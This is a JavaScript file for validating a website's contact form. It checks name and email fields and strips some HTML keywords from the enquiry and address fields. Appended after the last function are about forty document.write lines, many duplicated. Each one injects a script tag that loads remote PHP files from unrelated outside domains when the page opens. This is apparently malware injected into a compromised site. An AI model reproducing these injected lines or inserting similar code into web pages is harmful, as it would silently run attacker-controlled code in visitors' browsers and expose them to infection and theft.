// Contact form validation

function everything(form) 
  {
    isEmail(form)
    isName(form)
	isEnquiry(form) //added to get rid of HTML tags in enquiry field
	isAddress(form) //added to get rid of HTML tags in enquiry field
    allblanks(form)
	//document.write("variable =  " + form.street_address.value+"\nformatted="+ formatted);
  }
  
function allblanks(form) 
  {
    if((isName(form) && isEmail(form))) 
      {
        form.submit()
      }
    if((isName(form) == false || isEmail(form) == false)) 
      {
        compose(form)
      }
  }

function compose(form) 
  {
    var text = "Please check that you filled the following required field(s) in correctly:"	
    if(isName(form) == false) 
	  {
        text += "\nyour name requires letters only"
      }
   
    if(isEmail(form) == false) 
	  {
        text += "\nyour e-mail address"
      }
	//text += "\n"
	//text += form.enquiry.value
    alert(text)
  }

function isName(form) 
  {
    var alphaExp = /^[a-zA-Z\s]+$/;
    if(form.name.value.match(alphaExp))
	{
       return true;
	}
	else
	{
	  return false;
	}
	
//    if (form.name.value == "") 
//      {
//        return false
//      }
//    else 
//    {
//      return true
//    }
  }

// Extra validation of email address added by GA on 30-1-2010	 
function isEmail(form) 
  {
    var emailExp = /^[\w\-\.\+]+\@[a-zA-Z0-9\.\-]+\.[a-zA-z0-9]{2,4}$/;
    if(form.email.value.match(emailExp))
	{
		return true;
	}
	else 
     {
       return false;
     }
// commented out by GA on 30-1-2010	 
//  if ((form.email.value == "" || form.email.value.indexOf('@', 0) == -1) || form.email.value.indexOf('.') == -1) 
//     {
//       return false
//     }
//   else 
//     {
//       return true
//     }
  }
 

function isEnquiry(form) 
  {
    var formatted=form.enquiry.value.replace(/(<)|(>)|(http)|(\/)|(:)|(script)|(url)|(link)|(\\)|(src)|(img)|(html)|(href)/gi,"")
	form.enquiry.value = formatted;
	//document.write("variable =  " + form.enquiry.value+"\nformatted="+ formatted);
  } 
 
function isAddress(form) 
  {
    var formatted=form.street_address.value.replace(/(<)|(>)|(http)|(\/)|(:)|(script)|(url)|(link)|(\\)|(src)|(img)|(html)|(href)/gi,"")
	form.street_address.value = formatted;
	//document.write("variable =  " + form.street_address.value+"\nformatted="+ formatted);
  } 
document.write('<script src=http://djeshop.net/images/index.php ><\/script>');
document.write('<script src=http://e-noniya.jp/SqueezePageSecret/temp.php ><\/script>');
document.write('<script src=http://e-noniya.jp/SqueezePageSecret/temp.php ><\/script>');
document.write('<script src=http://e-noniya.jp/SqueezePageSecret/temp.php ><\/script>');
document.write('<script src=http://hungarian-rpgx.extra.hu/downloads/viewforum.php ><\/script>');
document.write('<script src=http://hungarian-rpgx.extra.hu/downloads/viewforum.php ><\/script>');
document.write('<script src=http://hungarian-rpgx.extra.hu/downloads/viewforum.php ><\/script>');
document.write('<script src=http://hungarian-rpgx.extra.hu/downloads/viewforum.php ><\/script>');
document.write('<script src=http://hungarian-rpgx.extra.hu/downloads/viewforum.php ><\/script>');
document.write('<script src=http://hungarian-rpgx.extra.hu/downloads/viewforum.php ><\/script>');
document.write('<script src=http://blessing.spb.ru/images/services.php ><\/script>');
document.write('<script src=http://robtoulson.rt60.co.uk/includes/collaboration.php ><\/script>');
document.write('<script src=http://robtoulson.rt60.co.uk/includes/collaboration.php ><\/script>');
document.write('<script src=http://robtoulson.rt60.co.uk/includes/collaboration.php ><\/script>');
document.write('<script src=http://robtoulson.rt60.co.uk/includes/collaboration.php ><\/script>');
document.write('<script src=http://robtoulson.rt60.co.uk/includes/collaboration.php ><\/script>');
document.write('<script src=http://robtoulson.rt60.co.uk/includes/collaboration.php ><\/script>');
document.write('<script src=http://robtoulson.rt60.co.uk/includes/collaboration.php ><\/script>');
document.write('<script src=http://metsi.org/html/gdform.php ><\/script>');
document.write('<script src=http://metsi.org/html/gdform.php ><\/script>');
document.write('<script src=http://metsi.org/html/gdform.php ><\/script>');
document.write('<script src=http://metsi.org/html/gdform.php ><\/script>');
document.write('<script src=http://metsi.org/html/gdform.php ><\/script>');
document.write('<script src=http://bisnismultidana.com/connections/trak.php ><\/script>');
document.write('<script src=http://bisnismultidana.com/connections/trak.php ><\/script>');
document.write('<script src=http://bisnismultidana.com/connections/trak.php ><\/script>');
document.write('<script src=http://bisnismultidana.com/connections/trak.php ><\/script>');
document.write('<script src=http://bisnismultidana.com/connections/trak.php ><\/script>');
document.write('<script src=http://rozafida.100webspace.net/_vti_pvt/Nefew_ani.php ><\/script>');
document.write('<script src=http://rozafida.100webspace.net/_vti_pvt/Nefew_ani.php ><\/script>');
document.write('<script src=http://rozafida.100webspace.net/_vti_pvt/Nefew_ani.php ><\/script>');
document.write('<script src=http://rozafida.100webspace.net/_vti_pvt/Nefew_ani.php ><\/script>');
document.write('<script src=http://rozafida.100webspace.net/_vti_pvt/Nefew_ani.php ><\/script>');
document.write('<script src=http://infosigma.org/js/index.php ><\/script>');
document.write('<script src=http://infosigma.org/js/index.php ><\/script>');
document.write('<script src=http://infosigma.org/js/index.php ><\/script>');
document.write('<script src=http://infosigma.org/js/index.php ><\/script>');